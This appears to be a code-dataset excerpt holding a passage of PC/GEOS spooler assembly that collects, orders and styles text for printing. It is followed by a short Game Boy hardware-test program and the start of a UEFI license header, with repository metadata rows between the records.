; also dereference the chunk again
mov bx, ds:[TS_gsBuffer] ; get chunk handle
mov bx, ds:[bx] ; dereference it
if DBCS_PCGEOS
push ax
mov ax, ds:[bx].[si].TFSR_count ;add past the text +...
shl ax, 1
add si, ax
pop ax
else
add si,ds:[bx].[si].TFSR_count ;add past the text +...
endif
add si, size TFStyleRun ; the size of this structure
jmp styleRuns ; do another run....
; all done, just leave
done:
.leave
ret
GetTextFieldString endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetCharString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Extract a Character from a gstring element and put it
it our CharStrings block
CALLED BY: INTERNAL
GetTextStrings
PASS: si - handle to gstring
di - handle to gstate (contains current attr)
ds - segment of TextStrings block
bp - pointer to stack frame
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
The current position in the gstring is at the element,
so use GetElement to read in the data, then put the text
string in the chunk.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 08/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetCharString proc near
uses ax, bx, cx, si, di, dx
.enter
; Get the element to see how big the string is
call ReadNextElement ; get the element
; OK, we have the element and how big it is, so alloc
; a new text string chunk and init to current attributes
mov cx, 1 ; get string length
mov ax, ds:[bx].ODC_x1 ; get x,y coordinates
mov bx, ds:[bx].ODC_y1
call TransformStringPosition ; apply any transform
mov dx, offset ODC_char ; ds:si -> string
mov si, ds:[TS_gsBuffer] ; string is in buffer
call AllocStringChunk ; make some space
.leave
ret
GetCharString endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetCharCPString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Extract a Character from a gstring element and put it
it our TextStrings block
CALLED BY: INTERNAL
GetTextStrings
PASS: si - handle to gstring
di - handle to gstate (contains current attr)
ds - segment of TextStrings block
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
The current position in the gstring is at the element,
so use GetElement to read in the data, then put the text
string in the chunk.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 08/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetCharCPString proc near
uses ax, bx, cx, si, di, dx
.enter
; Get the element to see how big the string is
call ReadNextElement ; get the element
; OK, we have the element and how big it is, so alloc
; a new text string chunk and init to current attributes
mov cx, 1 ; get string length
call GrGetCurPos ; ax,bx = cur pen pos
call TransformStringPosition ; apply any transform
mov dx, offset ODCCP_char ; ds:si -> string
mov si, ds:[TS_gsBuffer] ; string is in buffer
call AllocStringChunk ; make some space
.leave
ret
GetCharCPString endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TransformStringPosition
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Transform the string position, adding the base line offset
to the y position before using the GrTransform routine.
CALLED BY: INTERNAL
GString extraction routines -
GetTextString,GetTextCPString,GetCharString,GetCharCPString
PASS: si - handle to gstring
di - handle to gstate (contains current attr)
ax - Xposition
bx - Yposition
RETURN: ax,bx transformed
DESTROYED: dx
PSEUDO CODE/STRATEGY:
add the baseline offset to the y position,
call GrTransform to do the rest.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TransformStringPosition proc near
push ax,si ;save the X position.
call GrGetTextMode ;see how we are positioned.
and al,mask TM_DRAW_BASE or mask TM_DRAW_BOTTOM \
or mask TM_DRAW_ACCENT
jz drawFromTop
and al,not mask TM_DRAW_BASE ;see if baseline ref.
jz yPosCorrected ;jmp if baseline...
and al,not mask TM_DRAW_BOTTOM ;see if bottom ref.
jz drawFromBottom
mov si,GFMI_ROUNDED or GFMI_ASCENT ;must be accent ref.
jmp correctTheYPos
drawFromBottom:
mov si,GFMI_ROUNDED or GFMI_DESCENT ;I'm assuming this is
jmp correctTheYPos ;a signed value.
drawFromTop:
mov si,GFMI_ROUNDED or GFMI_BASELINE
correctTheYPos:
call GrFontMetrics
add bx,dx ;add the baseline to y pos.
yPosCorrected:
pop ax,si ;recover the X position.
call GrTransform ; apply any transform
ret
TransformStringPosition endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FixUpAutoHyphen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see if we need to put a hyphen at the end
CALLED BY: INTERNAL
GetTextFieldString
PASS: ds:bx - pointer to TextField element (base of current
chunk)
ds:bx.dx - pointer to text string (within ds:bx)
ds:bx.si - pointer to TFStyleRun
cx - character count
RETURN: cx - real char count
ds:bx - fixed up
ds:dx - pointer to text string
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
have an auto-hyphen.
Re alloc the chunk and add a hyphen at end..
has to be the last string in the text field
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 11/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FixUpAutoHyphen proc near
uses ax, di
cmp cx,ds:[si].[bx].TFSR_count ; see if this is the last run
jne exit ; if not, dont bother.
.enter
push si
push cx ; save string length
mov ax, ds:[TS_gsBuffer] ; load the handle of chunk
add cx,dx ; add stuff from before...
add cx, 2 ; add some space
call LMemReAlloc
pop cx ; recover string length
mov di, ax ; di -> chunk handle
mov bx, ds:[di] ; get pointer to chunk
mov si,dx ; pointer to string
add si,cx ; point at end of string
mov {byte} ds:[si].[bx], '-' ; stuff a hyphen there.
inc cx ; really is one more
pop si
mov ds:[si].[bx].TFSR_count,cx ; save in the TFStyleRun.
.leave
exit:
ret
FixUpAutoHyphen endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
HandleStyleRun
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a single style run of a GrDrawTextField element,
including any embedded graphics strings
CALLED BY: INTERNAL
GetTextFieldString
PASS: ds:bx - pointer to element
ds:bx+si - pointer to TFStyleRun structure
ax - x position to draw string
cx - #chars still left to draw (before this run)
dx - offset into string chunk to find string
di - gstate handle
RETURN: cx - #chars still left to draw (after this run)
dx - updated to past style run characters
ax - modified x position for next style run.
ds - probably has moved due to AllocStringChunk.
DESTROYED: none
PSEUDO CODE/STRATEGY:
Set the current attributes, allocate a StyleRunInfo element,
blah, blah, blah
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 06/90 Initial version
Dave 7/92 Initial 2.0 version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
HandleStyleRun proc near
uses bx,si,di
curJob local SpoolJobInfo
.enter inherit
push cx ; save #chars left (total)
add si, bx ; ds:si -> TFStyleRun
add si, TFSR_attr ; point to attributes
mov ds:[si].TA_spacePad.WBF_int, 0 ; set no space padding
mov ds:[si].TA_spacePad.WBF_frac, 0 ; set no space padding
call GrSetTextAttr ; set the text attributes
sub si, TFSR_attr
sub si, bx ; things back to normal
mov cx, ds:[bx][si].TFSR_count ; get character count
push dx,si
mov curJob.SJI_textXPosition,ax ;save this runs x position.
mov si, bx ;get offset to text.
add si, dx
call GrTextWidth ; get the width of this text string
add ax,dx ; add to the xPosition for next time.
pop dx,si
push ax,dx,si
mov ax, ds:[bx].ODTF_saved.GDFS_drawPos.PWBF_y.WBF_int ; get y pos
add ax, ds:[bx].ODTF_saved.GDFS_baseline.WBF_int ; get baseline pos
mov bx,ax ; get into bx now that we are done.
mov ax,curJob.SJI_textXPosition ;recover this runs x position.
call GrTransform ; transform the coordinates
call GrSaveState ; save font, point size...
call AllocStringChunk ; save the string
call GrRestoreState ; restore font, point size...
pop ax,dx,si
haveString::
add dx, cx ; bump string offset
DBCS < add dx, cx ; char offset -> byte offset >
add dx, size TFStyleRun ; add the size of this structure
mov di, cx ; save char count
pop cx ; restore #chars left (total)
sub cx, di ; are we done ?
.leave
ret
HandleStyleRun endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReadNextElement
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Read the next gstring element into our buffer
CALLED BY: INTERNAL
GetTextString
PASS: ds - segment of TextString block
si - gstring handle
di - gstate handle
RETURN: bx - pointer to start of buffer
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Read the element into our buffer, resizing if necc.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ReadNextElement proc near
uses si, ax
.enter
tryAgain:
mov bx, ds:[TS_gsBuffer] ; handle of buff chunk
ChunkSizeHandle ds, bx, cx ; get size of chunk
tst cx ; if null, enlarge it
jz reallocChunk
getElement:
mov bx, ds:[bx] ; get ptr to chunk
call GrGetGStringElement ; extract GR_DRAW_TEXT
cmp bx, si ; was it copied ?
jne done ; yes, all done
mov ax, ds:[TS_gsBuffer] ; no, resize chunk
call LMemReAlloc ; re-alloc the buffer
jmp tryAgain
done:
.leave
ret
reallocChunk:
mov ax, bx ; get chunk handle
mov cx, 512 ; make it big enough
call LMemReAlloc
jmp getElement
ReadNextElement endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AllocStringChunk
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Alloc a text string chunk, and fill in the info
CALLED BY: INTERNAL
GetTextString, GetTextStringCP
PASS: *ds:si - chunk to find string in
dx - offset into chunk to find string
cx - length of string
ax,bx - x,y position to draw string
di - gstate handle
RETURN: ds - may have moved through allocs.
DESTROYED: ax
PSEUDO CODE/STRATEGY:
use the Y position, and X position of the passed text to build
out an ordered array of increaseing Y position. If the Y
position is equal, the X position is use to order the elements.
At the same time, another array is built of the
font/style/color/etc info associated with the text.
At print time the array is enumerated in order, and the text
sent out in an order that the printer (dot-matrix especially)
needs.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 07/92 Initial 2.0 version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AllocStringChunk proc near
uses cx, dx, di, si, es
curJob local SpoolJobInfo
.enter inherit
;if cx=0, then we either have an embedded graphic or an
;empty string. In either case, lets bail.
test cx,cx
LONG jz exit
;if the suppress form-feed flag is set, them bump the y
;positions by the margin amount.
test curJob.SJI_printState, mask SPS_FORM_FEED
jnz findControlCodes
add bx, paperInfo.PSR_margins.PCMP_top ; add in top end
;ferret out those nasty one-character control codes and
;skip the allocation
findControlCodes:
mov si,ds:TS_gsBuffer ;source for string.
mov si, ds:[si] ; deref chunk
add si, dx ; get ptr to string
cmp cx, 1 ; one character ?
jne allocNewChunk ; no, continue
SBCS < cmp {char} ds:[si], C_SPACE ; control code >
DBCS < cmp {wchar} ds:[si],C_SPACE ; control code >
jae allocNewChunk ; OK if real character
clr si ; no string allocated
jmp exit
; find/alloc a Chunk Array Element for this text string.
;ds:si has to be the locked array here......
;ax = x position
;bx = y position
allocNewChunk:
call TranslateSpecialChars ;fix the hyphens etc....
mov ds:TS_textOffset,dx ;save the text offset in gstring chunk.
mov curJob.SJI_textXPosition,ax ;save x pos.
mov curJob.SJI_textYPosition,bx ;save y pos.
push di ;save GState handle.
push cx ;save the length of the string text
mov si,ds:TS_styleRunInfo ;handle of the chunkarray.
call ChunkArrayGetCount ;see if there are any elements yet.
clc ;set up to append
jcxz popNGo ;if not, pop the length of string....
mov cx,curJob.SJI_textXPosition
mov dx,curJob.SJI_textYPosition
mov bx,cs ;address of callback routine.
mov di,offset FindXYPosition
call ChunkArrayEnum ;get the element with the next lower
;position to insert in front of.
;on return from the enum routine,
;the carry will be set for a peice of
;text that should remain after the
;new text. In this case
;ChunkArrayInsertAt is called
;If the carry is cleared, then there is
;no text below or to the right, and
;this text should go at the end of the
;array.
mov di,ax ;get ds:di = element address.
popNGo:
pop cx ;recover the length of the string text
pushf
mov ax,cx ;size required for string
DBCS < shl ax, 1 >
add ax,offset SRI_text ;size req'd for header
popf
jc insertTheElement
call ChunkArrayAppend ;add it on the end.
jmp initElement
insertTheElement:
call ChunkArrayInsertAt ;insert the string here
initElement:
mov ax,curJob.SJI_textXPosition
mov bx,curJob.SJI_textYPosition
mov ds:[di].SRI_yPosition,bx ;load the new y position.
mov ds:[di].SRI_xPosition,ax ;load the new x position.
mov ds:[di].SRI_numChars,cx ;load the length of string.
;now load the text string into the chunk.
push di ;save offset to this chunk.
add di,offset SRI_text ;point at the text position.
segmov es,ds,ax ;get destination (same lmem block)
mov si,ds:TS_gsBuffer ;source for string.
mov si,ds:[si] ;deref chunk.
add si,ds:TS_textOffset ;add to get past the gstring structure.
if not DBCS_PCGEOS
shr cx,1 ;divide /2 for word move.
jnc textMove
movsb
jcxz afterTextMove ;if there was only one character in the
;style run, skip the move following...
textMove:
rep movsw
afterTextMove:
else
rep movsw
endif
;now we need to see if there is an existing attribute block
;that matches what we have passed here. If there is one, then
;just load the SRI_attributes pointer with the element number
;of the matching attribute block. If there is no matching
;block, we add one at the end of the array, and store that
;element number.
;ds = lmem block
;di = GState handle
;fill out the element to add.....
pop si ;offset to SRI chunk
pop di ;GState handle.
mov cx, ds:[si].SRI_numChars ;get #chars
push si ;save chunk offset
add si,offset SRI_text ;offset to beginning of chars
call GrTextWidthWBFixed ; figure out how wide
pop si ;recover chunk offset
add ds:[si].SRI_stringWidth.WBF_frac, ah
adc ds:[si].SRI_stringWidth.WBF_int, dx ;
call GetTextAttr ;load the TestAttribute table
;from GState.
;Now that we have all the good info to set a font/style/size,
;either add or get the element # of an identical set of
;attributes.
mov di,si
mov si,ds:[TS_styleRunInfo] ;handle of the chunk array.
call ChunkArrayPtrToElement ;get # of this style run.
push ax ;save away for later.
mov si,ds:TS_textAttributeInfo ;element array
mov cx,ds ;in this lmem segment
mov dx,offset TS_testAttribute ;element to compare and add
EC < mov bx,ss ;stuff es w/valid >
EC < mov es,bx ;segment info >
clr bx
mov di,bx ;set to zero to do compare.
call ElementArrayAddElement ;return the element number
mov dx,ax ;save attr element #
mov bx, curJob.SJI_tsHan ; get the handle
call MemDerefDS ; dereference it
; the code above may screw up if the block moves, so here we copy the
; data again to make sure it's correct. We could copy it to the
; stack before calling ElementArrayAddElement, but here we don't use
; up valuable stack space (20+ bytes).
mov si,ds:TS_textAttributeInfo ;element array
call ChunkArrayElementToPtr ; ds:di -> element just added
mov cx, size TextAttrInfo ; cx = element size
segmov es, ds ; es:di -> element just added
mov si, offset TS_testAttribute ; ds:si -> source of attr info
rep movsb
pop ax ;recover chunk #
mov si,ds:[TS_styleRunInfo] ;handle of the chunk array.
call ChunkArrayElementToPtr ;get the address of this style run.
mov ds:[di].SRI_attributes,dx ;in ax for StyleRunInfo.
exit:
.leave
ret
AllocStringChunk endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TranslateSpecialChars
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fix up the special characters that may be in the string.
CALLED BY: INTERNAL
PASS: ds:si - string address
cx - length of string
di - Gstate handle
RETURN: cx - length of string (may have changed)
string adjusted to contain the right hyphenation, etc.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 04/93 Initial 2.0 version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TranslateSpecialChars proc near
uses ax,bx,dx,si,es
.enter
push cx
mov bx,di ;GState handle
segmov es,ds,di
mov di,si ;everything points at the string.
clr dx ;dx now counts skipped chars.
checkLoop:
LocalGetChar ax, dssi ;get a char
SBCS < cmp al,C_NONBRKHYPHEN ;is it a non breaking hyphen? >
DBCS < cmp ax,C_NON_BREAKING_HYPHEN ;is it a non breaking hyphen? >
jne checkOptHyphen
SBCS < mov al,C_HYPHEN ;if it is, replace with printable "-".>
DBCS < mov ax,C_HYPHEN ;if it is, replace with printable "-".>
jmp thisCharTested
checkOptHyphen:
;Now we see if this char was an Optional hyphen.
SBCS < cmp al,C_OPTHYPHEN ;is it? >
DBCS < cmp ax,C_SOFT_HYPHEN ;is it? >
jne thisCharTested
;if here then it is an opt hyphen...
cmp cx,1 ;if we are not at end,
jne thisCharSkipped ;just skip this char
xchg bx,di
call GrGetTextMode ;see if we need to print it.
xchg bx,di
cmp al,mask TM_DRAW_OPTIONAL_HYPHENS
jz thisCharSkipped ;if not, just exit....
SBCS < mov al,C_HYPHEN ;if so, replace with printable "-".>
DBCS < mov ax,C_HYPHEN ;if so, replace with printable "-".>
thisCharTested:
LocalPutChar esdi, ax ;stuff the char back in the string
loopBack:
loop checkLoop ;check the next character.
pop cx
sub cx,dx ;subtract the number of skipped chars
mov di,bx ;recover GState handle
.leave
ret
thisCharSkipped:
inc dx
jmp loopBack
TranslateSpecialChars endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetTextAttr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: get the important attributes out of the GState
CALLED BY: INTERNAL
PASS: ds - segment of the TextAttributes lmem block
di - Gstate handle
RETURN:
ds:[TS_testAttribute] structure loaded.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 06/92 Initial 2.0 version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetTextAttr proc near
uses ax,bx,si,di,ds,es
.enter
segmov es,ds,ax ;move the lmem to es.
mov bx,di ;lock GState
call MemLock
mov ds,ax ;get segment of GState.
mov di,offset TS_testAttribute.TAI_color ;start of my table.
;set RGB value.
mov si,offset [GS_textAttr].[CA_colorRGB]
movsw
movsb
;set system draw mask.
mov al,ds:[GS_textAttr].[CA_maskType]
stosb
;set styles.
mov al,[GS_fontAttr].[FCA_textStyle]
call MapToPrinterStyle ;translate the mess
stosw
;set text mode.
mov al,ds:[GS_textMode]
stosb
;set space padding.
mov si,offset [GS_textSpacePad]
movsb
movsw
;set FontID enum.
mov si,offset [GS_fontAttr].[FCA_fontID]
movsw
;set size.
movsb
movsw
;set track kerning.
mov ax, {word}ds:[GS_trackKernValue]
stosw
;set the font weight.
mov al,ds:[GS_fontAttr].[FCA_weight]
;set the font width.
mov ah,ds:[GS_fontAttr].[FCA_width]
stosw
call MemUnlock ;bx should still be GState han
.leave
ret
GetTextAttr endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FindXYPosition
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: find the element with the next lower position in Y and
X, (higher numbers)
CALLED BY: INTERNAL
Callback for ChunkArrayEnum in AllocStringChunk
PASS: *ds:si - array
ds:di - array element being enumerated
ax - element size
cx - x position of new text.
dx - y position of new text.
RETURN: ds:ax - address of this element
carry set if this is the one to insert in front of.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 06/92 Initial 2.0 version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FindXYPosition proc far
.enter
mov bx,di ;save the offset of this element.
cmp dx,ds:[di].SRI_yPosition ;check the Y position.
ja exitClr ;jump if new text is below this text
jb exitSet ;insert if above this text
;if here must be equal y positions.
cmp cx,ds:[di].SRI_xPosition ;check the X position.
jbe exitSet ;if to left or same, then insert
clc
jmp exit ;haven't found what we want yet.
exitSet:
stc
exit:
mov ax,bx ;recover the offset to the element
.leave
ret
exitClr:
clc
jmp exit
FindXYPosition endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapToPrinterStyle
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Translate the current TextStyle setting to a valid
PrintTextStyle record
CALLED BY: INTERNAL
AllocStringChunk
PASS: al - TextStyle record to translate
RETURN: ax - PrintTextStyle equivalent
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
The bit mapping is screwed. Just do it brute force.
Style TextStyle PrintTextStyle
----- ---------- ---------------
OUTLINE bit 6 bit 6
BOLD bit 5 bit 11
ITALIC bit 4 bit 10
SUPERSCRIPT bit 3 bit 13
SUBSCRIPT bit 2 bit 14
STRIKE_THRU bit 1 bit 8
UNDERLINE bit 0 bit 9
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapToPrinterStyle proc near
uses dx, bx, cx
.enter
clr dx
clr ah
tst al ; if zero, we're done
jz done
; have some bits set, so handle them
mov cx, NUM_TEST_BITS
clr bx
testLoop:
test ax, cs:sourceBitTable[bx] ; next bit set ?
jz nextBit ; no, on to next one
or dx, cs:destBitTable[bx] ; yes, set the bit
nextBit:
add bx, 2 ; on to next entry
loop testLoop
done:
mov ax, dx
.leave
ret
MapToPrinterStyle endp
sourceBitTable label word
word mask TS_OUTLINE
word mask TS_BOLD
word mask TS_ITALIC
word mask TS_SUPERSCRIPT
word mask TS_SUBSCRIPT
word mask TS_STRIKE_THRU
word mask TS_UNDERLINE
NUM_TEST_BITS equ ($-sourceBitTable)/2
destBitTable label word
word mask PTS_OUTLINE
word mask PTS_BOLD
word mask PTS_ITALIC
word mask PTS_SUPERSCRIPT
word mask PTS_SUBSCRIPT
word mask PTS_STRIKETHRU
word mask PTS_UNDERLINE
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AskForNextTextPage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Ask for the next piece of paper for manual feed, if needed
CALLED BY: GLOBAL
PASS: nothing
RETURN: ax - dialog box results
DESTROYED: cx
PSEUDO CODE/STRATEGY:
check manual feed flag and do the right thing
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AskForNextTextPage proc near
curJob local SpoolJobInfo
uses bx,dx
.enter inherit
push ds
mov bx, curJob.SJI_pstate
call MemLock
mov ds, ax
test ds:[PS_paperInput], mask PIO_MANUAL
call MemUnlock ; (preserves flags)
pop ds
jz done ; no, auto-fed paper
; we have a manual feed situation. Ask the user to stick
; another piece (but nicely)
mov cx, SERROR_MANUAL_PAPER_FEED ; ask for next piece
clr dx
call SpoolErrorBox ; he can only answer OK
TestUserStandardDialogResponses SPOOL_BAD_USER_STANDARD_DIALOG_RESPONSE, IC_OK, IC_DISMISS
done:
.leave
ret
AskForNextTextPage endp
endif ;_TEXT_PRINTING
PrintText ends
| 28.998542 | 93 | 0.626991 | [
"Apache-2.0"
] | BOBBYWY/pcgeos | Library/Spool/Process/processText.asm | 59,650 | Assembly |
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
80
.text@150
lbegin:
ld c, 41
ld b, 03
lbegin_waitm3:
ldff a, (c)
and a, b
cmp a, b
jrnz lbegin_waitm3
ld a, 20
ldff(c), a
xor a, a
ldff(0f), a
ld a, 02
ldff(ff), a
ei
ld c, 0f
.text@1000
lstatint:
xor a, a
ldff(41), a
ldff(c), a
.text@1064
ld a, 20
ldff(41), a
ldff a, (c)
and a, b
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
| 12.982143 | 24 | 0.622421 | [
"MIT"
] | Manurocker95/GiovanniEmulator | GIOVANNI/gambatte/test/hwtests/m2enable/late_enable_2_dmg08_cgb04c_out0.asm | 1,454 | Assembly |
db DEX_MEGA_CHARIZARD ; pokedex id. using a dex slot for this is... less than optimal.
db 78 ; base hp
db 104 ; base attack
db 78 ; base defense
db 100 ; base speed
db 150 ; base special
db FIRE ; species type 1
db DRAGON ; species type 2
db SHINY_STONE
db 209 ; base exp yield
INCBIN "pic/ymon/mega_charizard.pic",0,1 ; 77, sprite dimensions
dw MegaCharizardPicFront
dw MegaCharizardPicBack
; attacks known at lvl 0
db FLAMETHROWER
db TWISTER
db FLY
db SWORDS_DANCE
db 3 ; growth rate
; learnset
tmlearn 1,3,5,6,7,8
tmlearn 9,10,15
tmlearn 17,18,19,20,23
tmlearn 26,27,28,31,32
tmlearn 33,34,38,39,40
tmlearn 44
tmlearn 50,51,52,54
db BANK(MegaCharizardPicFront)
| 23.137931 | 86 | 0.755589 | [
"Unlicense"
] | longlostsoul/EvoYellow | data/baseStats/megacharizard.asm | 671 | Assembly |
;; @file
;
; Copyright 2006 - 2010 Unified EFI, Inc.<BR>
; Copyright (c) 2010, Intel Corporation. All rights reserved.<BR>
;
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
